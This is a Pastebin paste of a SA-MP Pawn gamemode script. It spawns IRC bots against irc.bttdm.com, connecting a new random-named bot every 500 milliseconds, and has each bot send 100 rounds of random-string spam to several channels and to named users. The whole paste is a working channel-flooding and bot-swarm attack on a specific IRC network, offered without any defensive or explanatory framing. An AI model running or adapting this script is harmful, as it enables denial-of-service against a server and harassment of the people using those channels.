Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <a_samp>
- #include <irc>
- #include <foreach>
- new
- Grupo;
- forward RemoverBots();
- forward ConectarBo();
- forward MandarOFlood(botid);
- main()
- {
- }
- public OnGameModeInit()
- {
- new BotIDD;
- SetGameModeText("irc");
- AddPlayerClass(0, 1958.3783, 1343.1572, 15.3746, 269.1425, 0, 0, 0, 0, 0, 0);
- SetTimer("ConectarBo",500,true);
- BotIDD = IRC_Connect("irc.bttdm.com",6667,"Pingu","mybot","Pingu",false);
- IRC_SetIntData(BotIDD, E_IRC_CONNECT_DELAY, 01);
- BotIDD = IRC_Connect("irc.bttdm.com",6667,"Diana","mybot","Pingu",false);
- IRC_SetIntData(BotIDD, E_IRC_CONNECT_DELAY, 01);
- return 1;
- }
- public OnGameModeExit()
- {
- for(new i=0; i<100; i++)
- {
- IRC_Quit(i,"z");
- }
- return 1;
- }
- public IRC_OnConnect(botid, ip[], port)
- {
- IRC_JoinChannel(botid,"#btirc[3x]","123");
- IRC_JoinChannel(botid,"#btirc[3z]","123");
- IRC_JoinChannel(botid,"#btzombie","123");
- IRC_AddToGroup(Grupo,botid);
- printf(" BoT ID: %d Conectou-se",botid);
- MandarOFlood(botid);
- return 1;
- }
- MandarOFlood(botid)
- {
- new MsgFormat3[20];
- for(new i=0; i<100; i++)
- {
- randomString(MsgFormat3,random(20));
- IRC_Say(botid,"#btirc[3x]",MsgFormat3);
- IRC_Say(botid,"#btirc[3z]",MsgFormat3);
- IRC_Say(botid,"#btirc[3e]",MsgFormat3);
- IRC_Say(botid,"#btirc[3.7]",MsgFormat3);
- IRC_Say(botid,"#btzombie",MsgFormat3);
- IRC_Say(botid,"[bT]BlackTurbo",MsgFormat3);
- IRC_Say(botid,"Ninja",MsgFormat3);
- }
- return 1;
- }
- public IRC_OnReceiveRaw(botid,message[])
- {
- print(message);
- return 1;
- }
- public IRC_OnDisconnect(botid, ip[], port, reason[])
- {
- IRC_RemoveFromGroup(Grupo,botid);
- return 1;
- }
- public IRC_OnUserSay(botid, recipient[], user[], host[], message[])
- {
- if(IRC_IsVoice(botid,recipient,user))
- {
- if(strcmp(user,"Pingu",true))
- {
- if(strcmp(user,"Diana",true))
- {
- printf("%s: %s",user,message);
- }
- }
- }
- return 1;
- }
- public RemoverBots()
- {
- SendRconCommand("gmx");
- return 1;
- }
- public ConectarBo()
- {
- new BotIDD,MsgFormat[8];
- randomString(MsgFormat,5);
- BotIDD = IRC_Connect("irc.bttdm.com",6667,MsgFormat,"mybot",MsgFormat,false);
- IRC_SetIntData(BotIDD, E_IRC_CONNECT_DELAY, 01);
- return 1;
- }
- stock randomString(strDest[], strLen = 10)
- {
- while(strLen--)
- strDest[strLen] = random(2) ? (random(26) + (random(2) ? 'a' : 'A')) : (random(10) + '0');
- }
RAW Paste Data